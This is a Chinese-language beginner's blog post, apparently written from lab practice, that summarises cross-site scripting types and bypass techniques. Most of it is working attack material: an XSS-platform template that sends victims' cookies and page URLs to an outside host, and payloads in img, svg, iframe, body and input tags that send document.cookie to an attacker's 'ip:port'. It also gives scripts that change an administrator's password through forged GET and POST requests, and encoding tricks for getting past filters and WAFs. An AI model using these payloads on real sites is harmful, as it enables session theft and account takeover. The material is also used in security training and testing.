不许不懂XSS

不许不懂XSS:

入门学习者通过自己的方式写的一份xss小结,相信对于和我一样的小白十分友好

理解什么是xss:
  1. Cross Site Scripting -----> 跨站脚本攻击,为了与前端中的Cascading Style Sheet 层叠样式表做区分,便称它为xss。
  2. xss的重点在与执行。当恶意攻击者在web页面中插入而已脚本代码,用户访问该页面,浏览器渲染HTML文档的过程中就会执行嵌入的web页面的代码,达到恶意攻击的目的。
  3. 常见分类:反射型、存储型、DOM-based型、字符集xss、Flash跨站xss、未验证的跳转xss
    • 反射型:诱惑用户访问包含有恶意代码的URL,直接在浏览器中执行
    • 存储型:恶意代码已经上传或存储到服务器中,恶意代码存在于页面中
    • DOM-based型:基于文档对象模型形成(DOM结点)的xss,反射型xss
    • 字符集xss:利用编码机制绕过转义处理的xss
    • Flash跨站xss:HTML中嵌入FLASH的反射性xss
    • 未验证的跳转xss:利用恶意跳转地址执行脚本获取用户铭感信息
xss常用绕过思想和语句:

首先看下我最开始时经常会使用的xss平台中默认模块中给的代码:

可以直观感受的就是它利用大小写绕过,直接看看src中有什么,发现其实就是之前配置模块中的代码

#进行简单整理分析后上图代码
(function(){
    (new Image()).src='https://xsshs.cn/xss.php?do=api&id={projectId}&location='+escape((function(){//escape()对字符串进行编码
        try{return document.location.href}//获取来源
        catch(e){return ''}
    })())+'&toplocation='+escape((function(){
        try{return top.location.href}//获取页面跳转
        catch(e){return ''}
    })())+'&cookie='+escape((function(){
        try{return document.cookie}//获取cookie
        catch(e){return ''}
    })())+'&opener='+escape((function(){
        try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}//window.opener指本窗口的父窗口,window.opener.location.href是一个父窗口链接。三元表达式,如果父窗口和连接存在就返回
        catch(e){return ''}
    })());
})();/这是立即函数的写法,最后的一个括号为调用函数。这种目的是为了分隔作用域,防止命名冲突
if('{set.keepsession}'==1)//这是判断是否启用了keepsession也就是session不过期机制
{keep=new Image();//是的话就把永久cookie取出来
 keep.src='https://xsshs.cn/xss.php?do=keepsession&id={projectId}&url='+escape(document.location)+'&cookie='+escape(document.cookie)
};

这就是平台最基础的模板。可以发现关键就在url访问上面,只要是公网的域名或者ip就行。那么就能用自己的vps来进行xss了,这样也有一个好处,就是url中不会有xss的字眼,很多waf都会将xss作为关键字屏蔽,而纯ip的话肯定不会被拦截。

javascript关键字过滤:
<img src="jav   ascript:alert('XSS');">  中间为tab键
<img src="jav&#x09;ascript:alert('XSS');">TAB编码
<img src="jav&#x0A;ascript:alert('XSS');">换行符编码
<img src="jav&#x0D;ascript:alert('XSS');">回车编码
ps:只有""包裹的js代码才可以随便利用空格、回车、tab键
	回车、换行不支持在on事件中使用,空格可以
过滤空格:

除了上图所示,还可以注释补充空格

<img/src/**/onerror=alert(1)>   
过滤单双引号以及转义:
  • 重音符绕过 `

  • magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如'(单引号)转换为\',"(双引号)转换为\" ,\转换为\\
     比如:<script>alert("xss");</script>会转换为<script>alert(\"xss\");</script>,这样我们的xss就不生效了。
     针对开启了magic_quotes_gpc的网站,我们可以通过javascript中的String.fromCharCode方法来绕过,我们可以把alert("XSS");转换为
     String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)那么我们的XSS语句就变成了
     <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> 
     String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。
    
语句扩展:从一个基础语句扩展:

window.open

<script>window.open('http://ip:port/'+document.cookie)</script>
这是外带到具有公网的地址上,通过vps nc监听指定端口即可

window.location.href以及location.href

<script>window.location.href='http://ip:port/'+document.cookie</script>
<script>location.href='http://ip:port/'+document.cookie</script>

input标签:适用于 0-click,配合autofocus=””使用 ,不详onload这样容易过滤

<input onfocus="window.open('http://ip:port/'+document.cookie)" autofocus>    

此外还有还有svg,iframe,body标签

<svg onload="window.open('http://ip:port/'+document.cookie)">
<iframe onload="window.open('http://ip:port/'+document.cookie)"></iframe>
<body onload="window.open('http://ip:port/'+document.cookie)">

当网站某些功能以get方式传参的时,如果有xss漏洞,就可以利用诱导管理员访问而造成漏洞

如:诱导修改管理员密码为1234567

<script>window.open('http://127.0.0.1/api/change.php?p=1234567')</script>就是构造修密码时候的url,当用户访问时由于是本地ip也就修改了自己的账号密码

当以post方式传参时也可以利用javascript来发送http包

  • $.ajax,HTTP调用最简单的方法

    <script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script>
    

  • 使用XMLHttpRequest

    1. 基本框架:
    var httpRequest = new XMLHttpRequest();//创建需要的对象httpRequest.open('POST', 'url', true); //打开连接httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//post方式必须设置请求头(在建立连接后设置请求头)httpRequest.send('');//发送请求 将内容写在send中/** * 获取数据后的处理程序 */httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功        var json = httpRequest.responseText;//获取到服务端返回的数据        console.log(json);    }};
    

    P O S T 方 式 是 通 过 H T T P P O S T 方 法 传 递 的 变 量 组 成 的 数 组 , 是 自 动 全 局 变 量 。 如 使 用 _POST方式是通过 HTTP POST 方法传递的变量组成的数组,是自动全局变量。如使用 POSTHTTPPOST使_POST[‘name’]就可以接收到网页表单以及网页异步方式post过来的数据,即$_POST只能接收文档类型为Content-Type: application/x-www-form-urlencoded提交的数据。

    <script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>
    

展示常用application开头的MIME类型:

application/xhtml+xml :XHTML格式application/xml     : XML数据格式application/atom+xml  :Atom XML聚合格式   application/json    : JSON数据格式application/pdf       :pdf格式 application/msword  : Word文档格式application/octet-stream : 二进制流数据(如常见的文件下载)application/x-www-form-urlencoded : <form encType=””>中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)

编码绕过:(只提一下种类和注意事项)

  • 大小写

  • 部分URL编码

  • 全部URL编码(HEX)

  • ASCII方式$#十进制编码、十六进制转码

    每个十进制字符后加分号(;;或者采用&#0、&#00、&#000、&#0000、&#0;、&#00;、&#000;、&#0000;等形式。同样还可以在每个十六进制字符后加分号(;);或者采用&#0、&#00、&#000、&#0000、&#0;、&#00;、&#000;、&#0000;等形式。
    
  • ASCII编码

  • uncode编码,左右尖括号 u003c为< uoo3e为>

  • \x转义十六进制

  • Base64

以上就是这几天初步接触xss得到的,主要实践方式就是做现有一些的靶场,通过前辈的博客或者文章分析得到的一些比较常用的总结。最后也希望自己能够保持对于安全的热爱吧,加油吧!-c

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值